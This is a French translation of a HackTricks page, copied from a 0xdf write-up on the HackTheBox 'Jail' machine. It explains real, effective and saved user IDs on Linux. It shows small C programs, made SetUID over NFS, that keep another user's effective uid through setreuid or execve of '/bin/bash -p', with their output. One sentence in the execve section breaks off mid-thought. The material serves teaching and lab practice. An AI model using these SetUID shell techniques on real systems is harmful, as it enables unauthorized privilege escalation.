hacktricks/linux-hardening/privilege-escalation/euid-ruid-suid.md
2023-06-03 13:10:46 +00:00

9.8 KiB

euid, ruid, suid

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ce post a été copié depuis https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail

*uid

  • ruid: Il s'agit de l'ID utilisateur réel de l'utilisateur qui a démarré le processus.
  • euid: Il s'agit de l'ID utilisateur effectif, c'est ce que le système regarde pour décider quels privilèges le processus doit avoir. Dans la plupart des cas, l'euid sera identique au ruid, mais un binaire SetUID est un exemple d'un cas où ils diffèrent. Lorsqu'un binaire SetUID démarre, l'euid est défini sur le propriétaire du fichier, ce qui permet à ces binaires de fonctionner.
  • suid: Il s'agit de l'ID utilisateur enregistré, il est utilisé lorsqu'un processus privilégié (dans la plupart des cas en cours d'exécution en tant que root) doit abaisser les privilèges pour effectuer un comportement, mais doit ensuite revenir à l'état privilégié.

{% hint style="info" %} Si un processus non root veut changer son euid, il ne peut le définir qu'aux valeurs actuelles de ruid, euid ou suid. {% endhint %}

set*uid

À première vue, il est facile de penser que les appels système setuid définiraient le ruid. En fait, pour un processus privilégié, c'est le cas. Mais dans le cas général, il définit en fait l'euid. Selon la page de manuel:

setuid() définit l'ID utilisateur effectif du processus appelant. Si le processus appelant est privilégié (plus précisément : si le processus a la capacité CAP_SETUID dans son espace de noms utilisateur), l'UID réel et l'ID utilisateur enregistré sont également définis.

Ainsi, dans le cas où vous exécutez setuid(0) en tant que root, cela définit tous les identifiants sur root et les verrouille essentiellement (car suid est 0, il perd la connaissance ou tout utilisateur précédent - bien sûr, les processus root peuvent changer pour n'importe quel utilisateur qu'ils veulent).

Deux appels système moins courants, setreuid (re pour réel et effectif) et setresuid (res inclut enregistré) définissent les identifiants spécifiques. Être dans un processus non privilégié limite ces appels (de la page de manuel pour setresuid, bien que la page pour setreuid ait un langage similaire) :

Un processus non privilégié peut changer son UID réel, son UID effectif et son ID utilisateur enregistré, chacun pour l'un des suivants : l'UID réel actuel, l'UID effectif actuel ou l'ID utilisateur enregistré actuel.

Un processus privilégié (sous Linux, celui ayant la capacité CAP_SETUID) peut définir son UID réel, son UID effectif et son ID utilisateur enregistré sur des valeurs arbitraires.

Il est important de se rappeler que ceux-ci ne sont pas là en tant que fonctionnalité de sécurité, mais reflètent plutôt le flux de travail prévu. Lorsqu'un programme veut changer d'utilisateur, il change l'ID utilisateur effectif pour pouvoir agir en tant qu'utilisateur.

En tant qu'attaquant, il est facile de prendre de mauvaises habitudes en appelant simplement setuid car le cas le plus courant est de passer à root, et dans ce cas, setuid est effectivement identique à setresuid.

Exécution

execve (et autres execs)

L'appel système execve exécute un programme spécifié dans le premier argument. Les deuxième et troisième arguments sont des tableaux, les arguments (argv) et l'environnement (envp). Il existe plusieurs autres appels système qui sont

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    system("id");
    return 0;
}

Ce programme est compilé et configuré en tant que SetUID sur Jail via NFS:

oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
...[snip]...
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a

En tant que root, je peux voir ce fichier:

[root@localhost nfsshare]# ls -l a 
-rwsr-xr-x. 1 frank frank 16736 May 30 04:58 a

Lorsque j'exécute ceci en tant que nobody, id s'exécute en tant que nobody:

bash-4.2$ $ ./a
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Le programme démarre avec un ruid de 99 (personne) et un euid de 1000 (frank). Lorsqu'il atteint l'appel setuid, ces mêmes valeurs sont définies.

Ensuite, system est appelé et je m'attendrais à voir un uid de 99, mais aussi un euid de 1000. Pourquoi n'y en a-t-il pas un ? Le problème est que sh est un lien symbolique vers bash dans cette distribution :

$ ls -l /bin/sh
lrwxrwxrwx. 1 root root 4 Jun 25  2017 /bin/sh -> bash

Ainsi, l'appel système system appelle /bin/sh sh -c id, qui est effectivement /bin/bash bash -c id. Lorsque bash est appelé sans -p, il voit ruid de 99 et euid de 1000, et définit euid à 99.

setreuid / system

Pour tester cette théorie, je vais essayer de remplacer setuid par setreuid:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setreuid(1000, 1000);
    system("id");
    return 0;
}

Compilation et permissions :

oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b

Maintenant en prison, maintenant id renvoie l'uid de 1000:

bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

L'appel setreuid définit à la fois ruid et euid à 1000, donc lorsque system appelle bash, ils correspondent et les choses continuent comme frank.

setuid / execve

En appelant execve, si ma compréhension ci-dessus est correcte, je pourrais également ne pas me soucier de manipuler les uids et plutôt appeler execve, car cela conservera les identifiants existants. Cela fonctionnera, mais il y a des pièges. Par exemple, le code commun pourrait ressembler à ceci:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    execve("/usr/bin/id", NULL, NULL);
    return 0;
}

Sans l'environnement (je passe NULL pour simplifier), j'aurai besoin d'un chemin complet sur id. Cela fonctionne, renvoyant ce à quoi je m'attends:

bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Le [r]uid est 99, mais le euid est 1000.

Si j'essaie d'obtenir un shell à partir de cela, je dois être prudent. Par exemple, en appelant simplement bash:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(1000);
    execve("/bin/bash", NULL, NULL);
    return 0;
}

Je vais compiler cela et le définir en SetUID:

oxdf@hacky$ gcc d.c -o /mnt/nfsshare/d
oxdf@hacky$ chmod 4755 /mnt/nfsshare/d

Pourtant, cela renverra tout de même tous les nobody:

bash-4.2$ $ ./d
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Si cela avait été setuid(0), cela fonctionnerait bien (en supposant que le processus avait la permission de le faire), car cela changerait les trois identifiants en 0. Mais en tant qu'utilisateur non root, cela ne fait que définir l'euid sur 1000 (ce qu'il était déjà), puis appelle sh. Mais sh est bash sur Jail. Et lorsque bash démarre avec un ruid de 99 et un euid de 1000, il ramènera l'euid à 99.

Pour résoudre ce problème, j'appellerai bash -p:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    setuid(1000);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Cette fois, l'euid est présent:

bash-4.2$ $ ./e
bash-4.2$ $ id
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0

Ou je pourrais appeler setreuid ou setresuid au lieu de setuid.